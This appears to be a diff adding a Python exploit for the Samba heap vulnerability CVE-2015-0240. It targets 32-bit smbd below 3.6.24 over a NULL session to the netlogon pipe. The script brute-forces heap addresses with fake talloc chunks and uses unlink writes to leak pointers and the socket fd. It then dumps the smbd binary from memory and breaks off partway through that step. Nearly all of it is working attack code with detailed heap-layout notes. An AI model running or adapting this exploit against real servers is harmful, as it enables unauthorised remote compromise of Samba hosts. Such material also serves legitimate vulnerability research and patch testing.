|
|
@@ -0,0 +1,911 @@ |
|
|
#!/usr/bin/python |
|
|
""" |
|
|
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya |
|
|
|
|
|
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by |
|
|
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()' |
|
|
in libtalloc does not write a value on 'creds' address. |
|
|
|
|
|
Reference: |
|
|
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ |
|
|
|
|
|
Note: |
|
|
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option) |
|
|
if something failed |
|
|
|
|
|
Find heap address: |
|
|
- ubuntu PIE heap start range: b7700000 - b9800000 |
|
|
- start payload size: the bigger it is the lesser connection and binding time. |
|
|
but need more time to shrink payload size |
|
|
- payload is too big to fit in freed small hole. so payload is always at end |
|
|
of heap |
|
|
- start bruteforcing heap address from high memory address to low memory address |
|
|
to prevent 'creds' pointed to real heap chunk (also no crash but not our payload) |
|
|
|
|
|
Leak info: |
|
|
- heap layout is predictable because talloc_stackframe_pool(8192) is called after |
|
|
accepted connection and fork but before calling smbd_server_connection_loop_once() |
|
|
- before talloc_stackframe_pool(8192) is called, there are many holes in heap |
|
|
but their size are <8K. so pool is at the end of heap at this time |
|
|
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool. |
|
|
with the same pattern of request, the layout in pool are always the same. |
|
|
- many data are not allocated in pool but fit in free holes. so no small size data are |
|
|
allocated after pool. |
|
|
- normally there are only few data block allocated after pool. |
|
|
- pool size: 0x2048 (included glibc heap header 4 bytes) |
|
|
- a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes) |
|
|
- p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) |
|
|
- this might not be allocated here because its size might fit in freed hole |
|
|
- all fragment should be same size to prevent talloc_realloc() changed pdu.data size |
|
|
- so last fragment should be padded |
|
|
- ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) |
|
|
- this might not be allocated here because its size might fit in freed hole |
|
|
- p->in_data.data.data. the size is our netlogon data |
|
|
- for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) |
|
|
- this data is allocated by realloc(), grew by each fragment. so this memory |
|
|
block is not allocated by mmapped even the size is very big. |
|
|
- pool layout for interested data |
|
|
- r->out offset from pool (talloc header) is 0x13c0 |
|
|
- r->out.return_authenticator offset from pool is 0x13c0+0x18 |
|
|
- overwrite this (with link unlink) to leak info in ServerPasswordSet response |
|
|
- smb_request offset from pool (talloc header) is 0x11a0 |
|
|
- smb_request.sconn offset from pool is 0x11a0+0x3c |
|
|
- socket fd is at smb_request.sconn address (first struct member) |
|
|
- more shared folder in configuration, more freed heap holes |
|
|
- only if there is no or one shared, many data might be unexpected allocated after pool. |
|
|
have to get that extra offset or bruteforce it |
|
|
|
|
|
|
|
|
More exploitation detail in code (comment) ;) |
|
|
""" |
|
|
|
|
|
import sys |
|
|
import time |
|
|
from struct import pack,unpack |
|
|
import argparse |
|
|
|
|
|
import impacket |
|
|
from impacket.dcerpc.v5 import transport, nrpc |
|
|
from impacket.dcerpc.v5.ndr import NDRCALL |
|
|
from impacket.dcerpc.v5.dtypes import WSTR |
|
|
|
|
|
|
|
|
class Requester: |
|
|
""" |
|
|
put all smb request stuff into class. help my editor folding them |
|
|
""" |
|
|
|
|
|
# impacket does not implement NetrServerPasswordSet |
|
|
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) |
|
|
class NetrServerPasswordSet(NDRCALL): |
|
|
opnum = 6 |
|
|
structure = ( |
|
|
('PrimaryName',nrpc.PLOGONSRV_HANDLE), |
|
|
('AccountName',WSTR), |
|
|
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), |
|
|
('ComputerName',WSTR), |
|
|
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), |
|
|
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), |
|
|
) |
|
|
# response is authenticator (8 bytes) and error code (4 bytes) |
|
|
|
|
|
# size of each field in sent packet |
|
|
req_server_handle_size = 16 |
|
|
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null |
|
|
req_sec_type_size = 2 |
|
|
req_computer_size = 4 + 4 + 4 + 2 |
|
|
req_authenticator_size = 8 + 2 + 4 |
|
|
req_new_pwd_size = 16 |
|
|
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size |
|
|
|
|
|
samba_rpc_fragment_size = 4280 |
|
|
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size |
|
|
|
|
|
def __init__(self): |
|
|
self.target = None |
|
|
self.dce = None |
|
|
|
|
|
sessionKey = '\x00'*16 |
|
|
# prepare ServerPasswordSet request |
|
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR() |
|
|
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) |
|
|
authenticator['Timestamp'] = 10 |
|
|
|
|
|
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() |
|
|
uasNewPass['Data'] = '\x00'*16 |
|
|
|
|
|
self.serverName = nrpc.PLOGONSRV_HANDLE() |
|
|
# ReferentID field of PrimaryName controls the uninitialized value of creds |
|
|
self.serverName.fields['ReferentID'] = 0 |
|
|
|
|
|
self.accountName = WSTR() |
|
|
|
|
|
request = Requester.NetrServerPasswordSet() |
|
|
request['PrimaryName'] = self.serverName |
|
|
request['AccountName'] = self.accountName |
|
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel |
|
|
request['ComputerName'] = '\x00' |
|
|
request['Authenticator'] = authenticator |
|
|
request['UasNewPassword'] = uasNewPass |
|
|
self.request = request |
|
|
|
|
|
def set_target(self, target): |
|
|
self.target = target |
|
|
|
|
|
def set_payload(self, s, pad_to_size=0): |
|
|
if pad_to_size > 0: |
|
|
s += '\x00'*(pad_to_size-len(s)) |
|
|
pad_size = 0 |
|
|
if len(s) < (16*1024+1): |
|
|
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size |
|
|
if ofsize > 0: |
|
|
pad_size = self.netlogon_data_fragment_size - ofsize |
|
|
|
|
|
self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' |
|
|
self.accountName.fields['MaximumCount'] = None |
|
|
self.accountName.fields['ActualCount'] = None |
|
|
self.accountName.data = None # force recompute |
|
|
|
|
|
set_accountNameData = set_payload |
|
|
|
|
|
def get_dce(self): |
|
|
if self.dce is None or self.dce.lostconn: |
|
|
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) |
|
|
rpctransport.set_credentials('','') # NULL session |
|
|
rpctransport.set_dport(445) |
|
|
# force to 'NT LM 0.12' only |
|
|
rpctransport.preferred_dialect('NT LM 0.12') |
|
|
|
|
|
self.dce = rpctransport.get_dce_rpc() |
|
|
self.dce.connect() |
|
|
self.dce.bind(nrpc.MSRPC_UUID_NRPC) |
|
|
self.dce.lostconn = False |
|
|
return self.dce |
|
|
|
|
|
def get_socket(self): |
|
|
return self.dce.get_rpc_transport().get_socket() |
|
|
|
|
|
def force_dce_disconnect(self): |
|
|
if not (self.dce is None or self.dce.lostconn): |
|
|
self.get_socket().close() |
|
|
self.dce.lostconn = True |
|
|
|
|
|
def request_addr(self, addr): |
|
|
self.serverName.fields['ReferentID'] = addr |
|
|
|
|
|
dce = self.get_dce() |
|
|
try: |
|
|
dce.call(self.request.opnum, self.request) |
|
|
answer = dce.recv() |
|
|
return unpack("<IIII", answer) |
|
|
except impacket.nmb.NetBIOSError as e: |
|
|
if e.args[0] != 'Error while reading from remote': |
|
|
raise |
|
|
dce.lostconn = True |
|
|
return None |
|
|
|
|
|
# call with no read |
|
|
def call_addr(self, addr): |
|
|
self.serverName.fields['ReferentID'] = addr |
|
|
|
|
|
dce = self.get_dce() |
|
|
try: |
|
|
dce.call(self.request.opnum, self.request) |
|
|
return True |
|
|
except impacket.nmb.NetBIOSError as e: |
|
|
if e.args[0] != 'Error while reading from remote': |
|
|
raise |
|
|
dce.lostconn = True |
|
|
return False |
|
|
|
|
|
def force_recv(self): |
|
|
dce = self.get_dce() |
|
|
return dce.get_rpc_transport().recv(forceRecv=True) |
|
|
|
|
|
def request_check_valid_addr(self, addr): |
|
|
answers = self.request_addr(addr) |
|
|
if answers is None: |
|
|
return False # connection lost |
|
|
elif answers[3] != 0: |
|
|
return True # error, expected |
|
|
else: |
|
|
raise Error('Unexpected result') |
|
|
|
|
|
|
|
|
# talloc constants |
|
|
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0 |
|
|
TALLOC_FLAG_FREE = 0x01 |
|
|
TALLOC_FLAG_LOOP = 0x02 |
|
|
TALLOC_FLAG_POOL = 0x04 |
|
|
TALLOC_FLAG_POOLMEM = 0x08 |
|
|
|
|
|
TALLOC_HDR_SIZE = 0x30 # for 32 bit |
|
|
|
|
|
flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address |
|
|
|
|
|
# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address. |
|
|
TARGET_PAYLOAD_SIZE = 8192 |
|
|
|
|
|
######## |
|
|
# request helper functions |
|
|
######## |
|
|
|
|
|
# only one global requester |
|
|
requester = Requester() |
|
|
|
|
|
def force_dce_disconnect(): |
|
|
requester.force_dce_disconnect() |
|
|
|
|
|
def request_addr(addr): |
|
|
return requester.request_addr(addr) |
|
|
|
|
|
def request_check_valid_addr(addr): |
|
|
return requester.request_check_valid_addr(addr) |
|
|
|
|
|
def set_payload(s, pad_to_size=0): |
|
|
requester.set_payload(s, pad_to_size) |
|
|
|
|
|
def get_socket(): |
|
|
return requester.get_socket() |
|
|
|
|
|
def call_addr(addr): |
|
|
return requester.call_addr(addr) |
|
|
|
|
|
def force_recv(): |
|
|
return requester.force_recv() |
|
|
|
|
|
######## |
|
|
# find heap address |
|
|
######## |
|
|
|
|
|
# only refs MUST be NULL, other never be checked |
|
|
fake_chunk_find_heap = pack("<IIIIIIII", |
|
|
0, 0, 0, 0, # refs |
|
|
flag_loop, flag_loop, flag_loop, flag_loop, |
|
|
) |
|
|
|
|
|
def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False): |
|
|
""" |
|
|
below code can be used for checking valid heap address (no crash) |
|
|
|
|
|
if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) { |
|
|
/* we have a free loop - stop looping */ |
|
|
return 0; |
|
|
} |
|
|
""" |
|
|
global fake_chunk_find_heap |
|
|
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) |
|
|
set_payload(payload) |
|
|
addr_step = payload_size |
|
|
addr = start_addr |
|
|
i = 0 |
|
|
while addr > stop_addr: |
|
|
if i == 16: |
|
|
print(" [*]trying addr: {:x}".format(addr)) |
|
|
i = 0 |
|
|
|
|
|
if request_check_valid_addr(addr): |
|
|
return addr |
|
|
if first: |
|
|
# first time, the last 16 bit is still do not know |
|
|
# have to do extra check |
|
|
if request_check_valid_addr(addr+0x10): |
|
|
return addr+0x10 |
|
|
addr -= addr_step |
|
|
i += 1 |
|
|
return None |
|
|
|
|
|
def find_valid_heap_exact_addr(addr, payload_size): |
|
|
global fake_chunk_find_heap |
|
|
fake_size = payload_size // 2 |
|
|
while fake_size >= len(fake_chunk_find_heap): |
|
|
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) |
|
|
set_payload(payload, payload_size) |
|
|
if not request_check_valid_addr(addr): |
|
|
addr -= fake_size |
|
|
fake_size = fake_size // 2 |
|
|
|
|
|
set_payload('\x00'*16 + pack("<I", flag_loop), payload_size) |
|
|
# because glibc heap is align by 8 |
|
|
# so the last 4 bit of address must be 0x4 or 0xc |
|
|
if request_check_valid_addr(addr-4): |
|
|
addr -= 4 |
|
|
elif request_check_valid_addr(addr-0xc): |
|
|
addr -= 0xc |
|
|
else: |
|
|
print(" [-] bad exact addr: {:x}".format(addr)) |
|
|
return 0 |
|
|
|
|
|
print(" [*] checking exact addr: {:x}".format(addr)) |
|
|
|
|
|
if (addr & 4) == 0: |
|
|
return 0 |
|
|
|
|
|
# test the address |
|
|
|
|
|
# must be invalid (refs is AccountName.ActualCount) |
|
|
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size) |
|
|
if request_check_valid_addr(addr-4): |
|
|
print(' [-] request_check_valid_addr(addr-4) failed') |
|
|
return 0 |
|
|
# must be valid (refs is AccountName.Offset) |
|
|
# do check again if fail. sometimes heap layout is changed |
|
|
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size) |
|
|
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) : |
|
|
print(' [-] request_check_valid_addr(addr-8) failed') |
|
|
return 0 |
|
|
# must be invalid (refs is AccountName.MaxCount) |
|
|
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size) |
|
|
if request_check_valid_addr(addr-0xc): |
|
|
print(' [-] request_check_valid_addr(addr-0xc) failed') |
|
|
return 0 |
|
|
# must be valid (refs is ServerHandle.ActualCount) |
|
|
# do check again if fail. sometimes heap layout is changed |
|
|
set_payload(pack("<I", flag_loop), payload_size) |
|
|
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10): |
|
|
print(' [-] request_check_valid_addr(addr-0x10) failed') |
|
|
return 0 |
|
|
|
|
|
return addr |
|
|
|
|
|
def find_payload_addr(start_addr, start_payload_size, target_payload_size): |
|
|
print('[*] bruteforcing heap address...') |
|
|
|
|
|
start_addr = start_addr & 0xffff0000 |
|
|
|
|
|
heap_addr = 0 |
|
|
while heap_addr == 0: |
|
|
# loop from max to 0xb7700000 for finding heap area |
|
|
# offset 0x20000 is minimum offset from heap start to recieved data in heap |
|
|
stop_addr = 0xb7700000 + 0x20000 |
|
|
good_addr = None |
|
|
payload_size = start_payload_size |
|
|
while payload_size >= target_payload_size: |
|
|
force_dce_disconnect() |
|
|
found_addr = None |
|
|
for i in range(3): |
|
|
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) |
|
|
if found_addr is not None: |
|
|
break |
|
|
if found_addr is None: |
|
|
# failed |
|
|
good_addr = None |
|
|
break |
|
|
good_addr = found_addr |
|
|
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) |
|
|
start_addr = good_addr |
|
|
stop_addr = good_addr - payload_size + 0x20 |
|
|
payload_size //= 2 |
|
|
|
|
|
if good_addr is not None: |
|
|
# try 3 times to find exact address. if address cannot be found, assume |
|
|
# minimizing payload size is not correct. start minimizing again |
|
|
for i in range(3): |
|
|
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) |
|
|
if heap_addr != 0: |
|
|
break |
|
|
force_dce_disconnect() |
|
|
|
|
|
if heap_addr == 0: |
|
|
print(' [-] failed to find payload adress') |
|
|
# start from last good address + some offset |
|
|
start_addr = (good_addr + 0x10000) & 0xffff0000 |
|
|
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) |
|
|
|
|
|
payload_addr = heap_addr - len(fake_chunk_find_heap) |
|
|
print(" [+] found payload addr: {:x}".format(payload_addr)) |
|
|
return payload_addr |
|
|
|
|
|
|
|
|
######## |
|
|
# leak info |
|
|
######## |
|
|
|
|
|
def addr2utf_prefix(addr): |
|
|
def is_badchar(v): |
|
|
return (v >= 0xd8) and (v <= 0xdf) |
|
|
|
|
|
prefix = 0 # safe |
|
|
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): |
|
|
prefix |= 2 # cannot have prefix |
|
|
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): |
|
|
prefix |= 1 # must have prefix |
|
|
return prefix |
|
|
|
|
|
def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): |
|
|
""" |
|
|
Note: |
|
|
- if next_addr and prev_addr are not zero, they must be writable address |
|
|
because of below code in _talloc_free_internal() |
|
|
if (tc->prev) tc->prev->next = tc->next; |
|
|
if (tc->next) tc->next->prev = tc->prev; |
|
|
""" |
|
|
# Note: U+D800 to U+DFFF is reserved (also bad char for samba) |
|
|
# check if '\x00' is needed to avoid utf16 badchar |
|
|
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) |
|
|
if prefix_len == 3: |
|
|
return None # cannot avoid badchar |
|
|
if prefix_len == 2: |
|
|
prefix_len = 0 |
|
|
|
|
|
fake_chunk_leak_info = pack("<IIIIIIIIIIII", |
|
|
next_addr, prev_addr, # next, prev |
|
|
0, 0, # parent, children |
|
|
0, 0, # refs, destructor |
|
|
0, 0, # name, size |
|
|
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag |
|
|
0, 0, 0, # pool, pad, pad |
|
|
) |
|
|
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count |
|
|
set_payload(payload, TARGET_PAYLOAD_SIZE) |
|
|
if call_only: |
|
|
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len) |
|
|
|
|
|
for i in range(3 if retry else 1): |
|
|
try: |
|
|
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len) |
|
|
except impacket.dcerpc.v5.rpcrt.Exception: |
|
|
print("impacket.dcerpc.v5.rpcrt.Exception") |
|
|
answers = None |
|
|
force_dce_disconnect() |
|
|
if answers is not None: |
|
|
# leak info must have next or prev address |
|
|
if (answers[1] == prev_addr) or (answers[0] == next_addr): |
|
|
break |
|
|
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3])) |
|
|
answers = None # no next or prev in answers => wrong answer |
|
|
force_dce_disconnect() # heap is corrupted, disconnect it |
|
|
|
|
|
return answers |
|
|
|
|
|
def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): |
|
|
# leak by replace r->out.return_authenticator pointer |
|
|
# Note: because leak_addr[4:8] will be replaced with r_out_addr |
|
|
# only answers[0] and answers[2] are leaked |
|
|
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) |
|
|
|
|
|
def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): |
|
|
# leak by replace r->out.return_authenticator pointer |
|
|
# Note: leak_addr[0:4] will be replaced with r_out_addr |
|
|
# only answers[1] and answers[2] are leaked |
|
|
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) |
|
|
|
|
|
def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): |
|
|
# leak name field ('uint8_t') in found heap chunk |
|
|
# do not retry this leak, because r_out_addr is guessed |
|
|
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) |
|
|
if answers is None: |
|
|
return None |
|
|
if answers[2] != TALLOC_MAGIC: |
|
|
force_dce_disconnect() |
|
|
return None |
|
|
|
|
|
return answers[0] |
|
|
|
|
|
def leak_info_find_offset(info): |
|
|
# offset from pool to payload still does not know |
|
|
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") |
|
|
chunk_addr = info['chunk_addr'] |
|
|
uint8t_addr = None |
|
|
r_addr = None |
|
|
r_out_addr = None |
|
|
while uint8t_addr is None: |
|
|
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 |
|
|
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 |
|
|
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 |
|
|
# 0xad40 is extra offset when no share on debian |
|
|
# 0x10d38 is extra offset when only [printers] is shared on debian |
|
|
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): |
|
|
r_addr = chunk_addr - offset |
|
|
# 0x18 is out.authenticator offset |
|
|
r_out_addr = r_addr + 0x18 |
|
|
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) |
|
|
|
|
|
uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) |
|
|
if uint8t_addr is not None: |
|
|
print(" [*] success") |
|
|
break |
|
|
print(" [-] failed") |
|
|
if uint8t_addr is None: |
|
|
return False |
|
|
|
|
|
info['uint8t_addr'] = uint8t_addr |
|
|
info['r_addr'] = r_addr |
|
|
info['r_out_addr'] = r_out_addr |
|
|
info['pool_addr'] = r_addr - 0x13c0 |
|
|
|
|
|
print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) |
|
|
print(" [+] pool addr: {:x}".format(info['pool_addr'])) |
|
|
|
|
|
return True |
|
|
|
|
|
def leak_sock_fd(info): |
|
|
# leak sock fd from |
|
|
# smb_request->sconn->sock |
|
|
# (offset: ->0x3c ->0x0 ) |
|
|
print("[*] leaking socket fd ...") |
|
|
info['smb_request_addr'] = info['pool_addr']+0x11a0 |
|
|
print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) |
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak sconn_addr address :(') |
|
|
return None |
|
|
force_dce_disconnect() # heap is corrupted, disconnect it |
|
|
sconn_addr = answers[2] |
|
|
info['sconn_addr'] = sconn_addr |
|
|
print(' [+] sconn addr: {:x}'.format(sconn_addr)) |
|
|
|
|
|
# write in padding of chunk, no need to disconnect |
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) |
|
|
if answers is None: |
|
|
print('cannot leak sock_fd address :(') |
|
|
return None |
|
|
sock_fd = answers[1] |
|
|
print(' [+] sock fd: {:d}'.format(sock_fd)) |
|
|
info['sock_fd'] = sock_fd |
|
|
return sock_fd |
|
|
|
|
|
def leak_talloc_pop_addr(info): |
|
|
# leak destructor talloc_pop() address |
|
|
# overwrite name field, no need to disconnect |
|
|
print('[*] leaking talloc_pop address') |
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak talloc_pop() address :(') |
|
|
return None |
|
|
if answers[2] != 0x2010: # chunk size must be 0x2010 |
|
|
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') |
|
|
return None |
|
|
talloc_pop_addr = answers[0] |
|
|
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) |
|
|
info['talloc_pop_addr'] = talloc_pop_addr |
|
|
return talloc_pop_addr |
|
|
|
|
|
def leak_smbd_server_connection_handler_addr(info): |
|
|
# leak address from |
|
|
# smbd_server_connection.smb1->fde ->handler |
|
|
# (offset: ->0x9c->0x14 ) |
|
|
# MUST NOT disconnect after getting smb1_fd_event address |
|
|
print('[*] leaking smbd_server_connection_handler address') |
|
|
def real_leak_conn_handler_addr(info): |
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak smb1_fd_event address :(') |
|
|
return None |
|
|
smb1_fd_event_addr = answers[1] |
|
|
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) |
|
|
|
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak smbd_server_connection_handler address :(') |
|
|
return None |
|
|
force_dce_disconnect() # heap is corrupted, disconnect it |
|
|
smbd_server_connection_handler_addr = answers[0] |
|
|
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr |
|
|
if diff > 0x2000000 or diff < 0: |
|
|
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) |
|
|
smbd_server_connection_handler_addr = None |
|
|
return smbd_server_connection_handler_addr |
|
|
|
|
|
smbd_server_connection_handler_addr = None |
|
|
while smbd_server_connection_handler_addr is None: |
|
|
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) |
|
|
|
|
|
print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) |
|
|
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr |
|
|
|
|
|
return smbd_server_connection_handler_addr |
|
|
|
|
|
def find_smbd_base_addr(info): |
|
|
# estimate smbd_addr from talloc_pop |
|
|
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: |
|
|
# code has no alignment |
|
|
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 |
|
|
else: |
|
|
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 |
|
|
start_addr = start_addr & 0xfffff000 |
|
|
stop_addr = start_addr - 0x20000 |
|
|
|
|
|
print('[*] finding smbd loaded addr ...') |
|
|
while True: |
|
|
smbd_addr = start_addr |
|
|
while smbd_addr >= stop_addr: |
|
|
if addr2utf_prefix(smbd_addr-8) == 3: |
|
|
# smbd_addr is 0xb?d?e000 |
|
|
test_addr = smbd_addr - 0x800 - 4 |
|
|
else: |
|
|
test_addr = smbd_addr - 8 |
|
|
# test writable on test_addr |
|
|
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) |
|
|
if answers is not None: |
|
|
break |
|
|
smbd_addr -= 0x1000 # try prev page |
|
|
if smbd_addr > stop_addr: |
|
|
break |
|
|
print(' [-] failed. try again.') |
|
|
|
|
|
info['smbd_addr'] = smbd_addr |
|
|
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) |
|
|
|
|
|
def dump_mem_call_addr(info, target_addr): |
|
|
# leak pipes_struct address from |
|
|
# smbd_server_connection->chain_fsp->fake_file_handle->private_data |
|
|
# (offset: ->0x48 ->0xd4 ->0x4 ) |
|
|
# Note: |
|
|
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed |
|
|
# - target_addr will be replaced with current_pdu_sent address |
|
|
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c |
|
|
print(' [*] overwrite current_pdu_sent for dumping memory ...') |
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak chain_fsp address :(') |
|
|
return False |
|
|
chain_fsp_addr = answers[1] |
|
|
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) |
|
|
|
|
|
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak fake_file_handle address :(') |
|
|
return False |
|
|
fake_file_handle_addr = answers[0] |
|
|
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) |
|
|
|
|
|
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) |
|
|
if answers is None: |
|
|
print(' [-] cannot leak pipes_struct address :(') |
|
|
return False |
|
|
pipes_struct_addr = answers[2] |
|
|
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) |
|
|
|
|
|
current_pdu_sent_addr = pipes_struct_addr+0x84 |
|
|
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) |
|
|
# change pipes->out_data.current_pdu_sent to dump memory |
|
|
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) |
|
|
|
|
|
def dump_smbd_find_bininfo(info): |
|
|
def recv_till_string(data, s): |
|
|
pos = len(data) |
|
|
while True: |
|
|
data += force_recv() |
|
|
if len(data) == pos: |
|
|
print('no more data !!!') |
|
|
return None |
|
|
p = data.find(s, pos-len(s)) |
|
|
if p != -1: |
|
|
return (data, p) |
|
|
pos = len(data) |
|
|
return None |
|
|
|
|
|
def lookup_dynsym(dynsym, name_offset): |
|
|
addr = 0 |
|
|
i = 0 |
|
|
offset_str = pack("<I", name_offset) |
|
|
while i < len(dynsym): |
|
|
if dynsym[i:i+4] == offset_str: |
|
|
addr = unpack("<I", dynsym[i+4:i+8])[0] |
|
|
break |
|
|
i += 16 |
|
|
return addr |
|
|
|
|
|
print('[*] dumping smbd ...') |
|
|
dump_call = False |
|
|
# have to minus from smbd_addr because code section is read-only |
|
|
if addr2utf_prefix(info['smbd_addr']-4) == 3: |
|
|
# smbd_addr is 0xb?d?e000 |
|
|
dump_addr = info['smbd_addr'] - 0x800 - 4 |
|
|
else: |
|
|
dump_addr = info['smbd_addr'] - 4 |
|
|
for i in range(8): |
|
|
if dump_mem_call_addr(info, dump_addr): |
|
|
mem = force_recv() |
|
|
if len(mem) == 4280: |
|
|
dump_call = True |
|
|
break |
|
|
print(' [-] dump_mem_call_addr failed. try again') |
|
|
force_dce_disconnect() |
|
|
if not dump_call: |
|
|
print(' [-] dump smbd failed') |
|
|
return False |
|
|
|
|
|
print(' [+] dump success. getting smbd ...') |
|
|
# first time, remove any data before \7fELF |
|
|
mem = mem[mem.index('\x7fELF'):] |
|
|
|
|
|
mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00') |
|
|
print(' [*] found __gmon_start__ at {:x}'.format(pos+1)) |
|
|
|
|
|
pos = mem.rfind('\x00\x00', 0, pos-1) |
|
|
dynstr_offset = pos+1 |
|
|
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset)) |
|
|
|
|
|
dynstr = mem[dynstr_offset:] |
|
|
mem = mem[:dynstr_offset] |
|
|
|
|
|
# find start of .dynsym section |
|
|
pos = len(mem) - 16 |
|
|
while pos > 0: |
|
|
if mem[pos:pos+16] == '\x00'*16: |
|
|
break |
|
|
pos -= 16 # sym entry size is 16 bytes |
|
|
